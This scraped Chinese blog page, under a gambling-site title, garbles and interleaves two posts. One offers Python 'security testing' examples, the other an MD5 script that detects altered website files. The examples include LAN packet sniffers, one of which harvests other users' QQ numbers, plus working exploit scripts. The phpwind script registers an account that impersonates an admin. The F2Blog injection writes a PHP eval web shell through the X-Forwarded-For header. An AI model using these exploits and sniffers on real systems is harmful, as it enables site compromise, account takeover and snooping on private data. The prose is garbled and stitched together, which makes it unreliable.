澳门新葡新京:Python常用辅助安全测试6个代码例子,用Python和MD5实现网站挂马检测程序

这么些代码,半数以上是从别处转来的。测量检验的时候会相比有用。比方数据嗅探,发送哀告,正则表明式管理文件,注入测量检验等。
事实上中得以依靠自身的门类,举办自然水准的恢弘。代码是简洁明了为主。那某些代码是珍视安全测验的。
上学python已经6月了。认为拾分平价。
前天,pm还让自个儿写二个前后相继救助他办公室。

风流洒脱、程序测量试验

近些日子发掘多数合作社也开始在谐和的爱才如命职位上加上了python。
对此python。功效说的太多未有用,小编发一些事例。
本身也推荐大家一时间不要紧学习一下。一天基本上就足以学会。
别国相当红。作者的pm是塞尔维亚人,他们国家好疑似一直攻读python,就如大家学习c相近遍布。
域外搞python开辟的人居多,集团也超级多。国内的相对超级少。
自作者上学那些,是为着辅助工作和玩hack。日常用也很有力。
google有个google app
enginer,是个八九不离十虚构主机的劳动。使用python开发web应用。
别的,google本身是依据python的。

复制代码 代码如下:

大多数运用,都能够使用叁个函数消除,举个例子文件下载,发送诉求,解析网页,读写xml,文件收缩,爬虫搜索。
这么些应用大多是跨平台的。能够在linux下运营。
ironpyhon是一个组合.net平台和python的工具,他们正在商讨什么行使python把.net放在linux上运维。

# python check_change.py

红米的手提式无线电话机也伊始帮助python编制程序。
java,.net 也开始提供python版本。

    Usage: python check_change.py update /home/wwwroot
           python check_change.py check /home/wwwroot

上边举些例子,演示一下python的效益。

# python check_change.py update /data/www #生成站点的md5值
# echo ‘ ‘ > /data/www/sitemap.html #测验清空文件
# rm -rf /data/www/sitemap.xml #测量试验删除文件
# python check_change.py check /data/www  #追寻这个文件被点窜
/data/www/sitemap.xml
/data/www/sitemap.html

1、数据嗅探,这一个事例,是嗅探马铃薯网络的flash真正的播报地址。
import pcap ,struct , re
from pickle import dump,load
pack=pcap.pcap()
pack.setfilter(‘tcp port 80’)
regx=r’/[\w+|/]+.flv|/[\w+|/]+.swf’
urls=[]
hosts=[]
print ‘start capture….’
for recv_time,recv_data in pack:
    urls=re.findall(regx,recv_data);
    if(len(urls)!=0):print urls;

二、实今世码如下(check_change.py)

2、嗅探qq号码,明天作者还用它嗅探局域网里有着的qq这。缺憾未有辨别性别的魔法。不过能够本人加上

复制代码 代码如下:

# -*- coding: cp936 -*-
import pcap ,struct
pack=pcap.pcap()
pack.setfilter(‘udp’)
key=”
for recv_time,recv_data in pack:
   recv_len=len(recv_data)
   if recv_len == 102 and recv_data[42]== chr(02) and
recv_data[101]
== chr(03):
      print struct.unpack(‘>I’,recv_data[49:53])[0]
   elif recv_len == 55:
      print struct.unpack(‘>I’,recv_data[49:53])[0]

#!/usr/bin/env python

3、数据嗅探,项目中遇见,必要嗅探一些发送到特定端口的数码,于是花了几分钟写了叁个主次。

import os,sys,subprocess

import pcap ,struct
from pickle import dump,load
pack=pcap.pcap()
pack.setfilter(‘port 2425’)
f=open(r’/mm.txt’,’w+’)
print ‘start capture….’
for recv_time,recv_data in pack:
    print recv_time
    print recv_data
    f.write(recv_data)

def update(path):
    f = open(file,’w’)
    for root,dirs,files in os.walk(path):
        for name in files:
            line = os.path.join(root, name)
            (stdin,stderr) =
subprocess.Popen([‘md5sum’,line],stdout=subprocess.PIPE).communicate()
            f.write(stdin)
    f.close()

3、5  
文件内容寻找,小编发觉windows的自带的追寻不或许寻觅内容。就算搜索到也明令禁止。就融洽写了二个

def check(path):
    f = open(file,’r’)
    for line in f:
        check_ok = “””echo ‘%s’ | md5sum -c > /dev/null 2>&1″”” %
line
        #print check_ok
        if not subprocess.call(check_ok, shell = True) == 0:
            abnormal = line.split()
            print abnormal[1]
    f.close()

import os,string,re,sys

def Usage():
    print ”’
    Usage: python %s update /home/wwwroot
           python %s check /home/wwwroot
    ”’ % (sys.argv[0],sys.argv[0])
    sys.exit()

class SevenFile:
    files=[]
    def FindContent(self,path):
        print
‘xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx’
        walks=os.walk(path)
        for walk in walks:
            for filename in walk[2]:
                if(‘.mht’ == filename[-4:]):
                    res_taskid=[]
                    file=walk[0]+’\\’+filename
                    f=open(file)
                    content=f.read()
                   
pattern_taskid=re.compile(r’Stonehenge-UIVerificationChecklist\.mht’,re.IGNORECASE)
#
                    res_taskid=pattern_taskid.findall(content)
                    f.close()
                    if len(res_taskid)>0:
                        self.files.append(file)

if len(sys.argv) != 3:
    Usage()

def run():
    f=SevenFile()
    f.FindContent(r”E:\work\AP\Manual
Tests\PSIGTestProject\PSIGTestProject”)
    for filepath in f.files:
        print filepath    
    print “OK”

file = ‘file.key’
model = sys.argv[1]
path = sys.argv[2]

if __name__==”__main__”:
    run()

if os.path.exists(path) == False:
    print “\033[;31mThe directory or file does not exist\033[0m”
    sys.exit()
elif model == ‘update’:
    update(path)
elif model == ‘check’:
    check(path)
else:
    Usage()

4、这个不是自家写的,是多个互连网的×××phpwind论坛的一个代码

复制代码 代码如下: # python
check_change.py Usage: python check_change.py update /home/wwwroot
python check_change.py check /home/wwwroot # python check_…

# -*- coding: gb2312 -*-
import urllib2,httplib,sys
httplib.HTTPConnection.debuglevel = 1
cookies = urllib2.HTTPCookieProcessor()
opener = urllib2.build_opener(cookies)

def usage():
print “Usage:\n”
print ” $ ./phpwind.py pwforumurl usertoattack\n”
print ” pwforumurl 指标论坛地址如”
print ” usertoattack 目的有着权力的斑竹或管理人”
print ” ×××结果将会在对象论坛注册叁个和指标客户相仿的帐户”
print ” 最新版本能够使用uid登入”
print ” 其余版本能够选择cookie+useragent登录”
print
“########################################################”
print “”

argvs=sys.argv
usage()

data = “regname=%s
%s1&regpwd=@80sec&regpwdrepeat=@80sec&regemail=…@foo.com&regemailtoall=1&step=2″
% (argvs[2],”%c1″)
pwurl = “%s/register.php” % argvs[1]

request = urllib2.Request(
url = pwurl ,
headers = {‘Content-Type’ : ‘application/x-www-form-
urlencoded’,’User-Agent’: ’80sec owned this’},
data = data)
f=opener.open(request)
headers=f.headers.dict
cookie=headers[“set-cookie”]
try:
if cookie.index(‘winduser’):
print “Exploit Success!”
print “Login with uid password @80sec or Cookie:”
print cookie
print “User-agent: 80sec owned this”
except:
print “Error! “
print “Connect root#80sec.com”

5、×××注入×××,针对钦定网站的注入演示

#!c:\python24\pyton
# Exploit For F2Blog All Version
# Author BY MSN:pt…@vip.sina.com
# Date: Jan 29 2007

import sys
import httplib
from urlparse import urlparse
from time import sleep

def injection(realurl,path,evil): #url,/bk/,evilip
   cmd=””
   cookie=””
   header={‘Accept’:’*/*’,’Accept-Language’:’zh-
cn’,’Referer’:’
Type’:’application/x-www-form-urlencoded’,’User-
Agent’:useragent,’Host’:realurl[1],’Content-length’:len(cmd),
         ‘Connection’:’Keep-Alive’,’X-Forwarded-
For’:evil,’Cookie’:cookie}
   #cmd =
“formhash=6a49b97f&referer=discuz.php&loginmode=&styleid=&cookietime=2592000&loginfield=username&username=test&password=123456789&questionid=0&answer=&loginsubmit=
%E6%8F%90+%C2%A0+%E4%BA%A4″
   #print header
   #print path
   #sys.exit(1)
   http = httplib.HTTPConnection(realurl[1])
   http.request(“POST”,path+”index.php”,cmd, header)
   sleep(1)
   http1 = httplib.HTTPConnection(realurl[1])
   http1.request(“GET”,path+”cache/test11.php”)
   response = http1.getresponse()
   re1 = response.read()
   #print re1
   print re1.find(‘test’)
   if re1.find(‘test’) ==0:
     print ‘Expoilt Success!\n’
     print ‘View Your shell:\t%s’ %shell
     sys.exit(1);

   else:
     sys.stdout.write(“Expoilt FALSE!”)
     http.close()
     #sleep(1)
     #break
     sys.stdout.write(“\n”)

def main ():
print ‘Exploit For F2Blog All Version’
print ‘Codz by pt…@vip.sina.com\n’
if len(sys.argv) == 2:
   url = urlparse(sys.argv[1])
   if url[2:-1] != ‘/’:
       u = url[2] + ‘/’
   else:
       u = url[2] #u=/bk/
else:
   print “Usage: %s <url> ” % sys.argv[0]
   print “Example: %s ” % sys.argv[0]
   sys.exit(0)

print ‘[+] Connect %s’ % url[1]
print ‘[+] Trying…’
print ‘[+] Plz wait a long long time…’
global shell,useragent
shell=””
query =’fputs(fopen(\’cache/test11.php\’,\’w+\’),\'<?
@eval($_REQUEST[c])?>test\’)’
query =’\’));’+query+’;/*’
evilip=query
useragent=””
cookie=””
injection(url,u,evilip)
evilip=””
injection(url,u,evilip)

print ‘[+] Finished’

if __name__ == ‘__main__’: main()

6、×××注入×××,那是二个完整的access+asp注入工具。
代码有一些长,本人下载吧。

国外还或然有更决定的python注入工具(sqlmap卡塔尔,协理以往大概所有的数据库。
MySQL, Oracle, PostgreSQL and Microsoft SQL
Server database management system back-end. Besides these four DBMS,
sqlmap can also identify Microsoft Access, DB2, Informix and Sybase;

协调探寻下载吧。

支撑get,post ,cookie注入。能够增添cookie和user-agent
支持盲注,错误回显注入,还会有此外两种注入方法。
支撑代理,
优化算法,更急迅。
指纹识别技术判别数据库 

 

学习资料推荐>>>

  基于Python的机器学习
  Python高级安全编程
  Python实战应用开发
  Python 信息安全工具开发
  简单学Python安全

相关文章